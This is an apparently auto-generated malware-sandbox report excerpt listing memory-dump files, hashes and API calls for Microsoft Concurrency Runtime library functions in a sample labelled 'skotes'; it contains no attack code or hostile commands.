Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 994766c7abef0e521979081047292e48787383653dd3c69b195cabb48809901e
Instruction ID: 7c0ed2e8f37563f3db316a84fe142e3fc3db2374e7f01fc16e4b4cba2c26bc8f
Opcode Fuzzy Hash: 994766c7abef0e521979081047292e48787383653dd3c69b195cabb48809901e
Instruction Fuzzy Hash: 74216234A0024AAFCF14EF5AC5959EDBBB5BF09350F5440A9E905AB3A1DB70AE41CF90

Function 00AE78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AE7903

Part of subcall function 00AE5CB8: __EH_prolog3_catch.LIBCMT ref: 00AE5CBF
Part of subcall function 00AE5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AE5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AE792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AE7936

Part of subcall function 00AE5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00AE5D70
Part of subcall function 00AE5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00AE5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00AE7982
Concurrency::location::_Assign.LIBCMT ref: 00AE79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00AE79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AE79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00AE79ED

Part of subcall function 00AE691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00AE6942
Part of subcall function 00AE691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00AE6965

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 4967c6086ddb989b4b6bce25c5a6b0db91a338dccad644af2602e4da857eca3b
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: F6317C30B082D16FCF96AB7A48927FE77B59F41304F0405A9D495DB243EB244D0AC3D1

Function 00AF4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AF4877
___except_validate_context_record.LIBVCRUNTIME ref: 00AF487F
_ValidateLocalCookies.LIBCMT ref: 00AF4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00AF4933
_ValidateLocalCookies.LIBCMT ref: 00AF4988

Strings

csm, xrefs: 00AF491D

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b4a01a8949adedd13442d6c159695bc345c38479f8f0054749a3c70a669740b6
Instruction ID: ddef5d1ba2b4eae0be0331d663ab86a89dbc5c4c7f3f5a80b6db381a99b518d8
Opcode Fuzzy Hash: b4a01a8949adedd13442d6c159695bc345c38479f8f0054749a3c70a669740b6
Instruction Fuzzy Hash: 9441B334E0020DABCF10DFA8D884AAFBFF5AF49354F148195FA189B392D7719A51CB91

Function 00AEDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00AEDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00AEDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00AEDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00AEDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00AEDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00AEDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00AEDE74

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 430283c4ac76032f4580a0e2e6251b67476b39f6da259b599010dc0c6f196e4a
Instruction ID: 02847fe6f7508f93c9af0c101c263afa6cd7f3e39ea020c7ea956c23d0599af9
Opcode Fuzzy Hash: 430283c4ac76032f4580a0e2e6251b67476b39f6da259b599010dc0c6f196e4a
Instruction Fuzzy Hash: DC41CD30A042C48ADF15FFB68A997ED7BA56F10304F1440A9E8466F2C3CB758E04CB62

Function 00AEE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00AEE7D7

Part of subcall function 00AEE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00AEE577
Part of subcall function 00AEE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00AEE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00AEE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00AEE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AEE879
Concurrency::location::_Assign.LIBCMT ref: 00AEE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AEE8B5

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
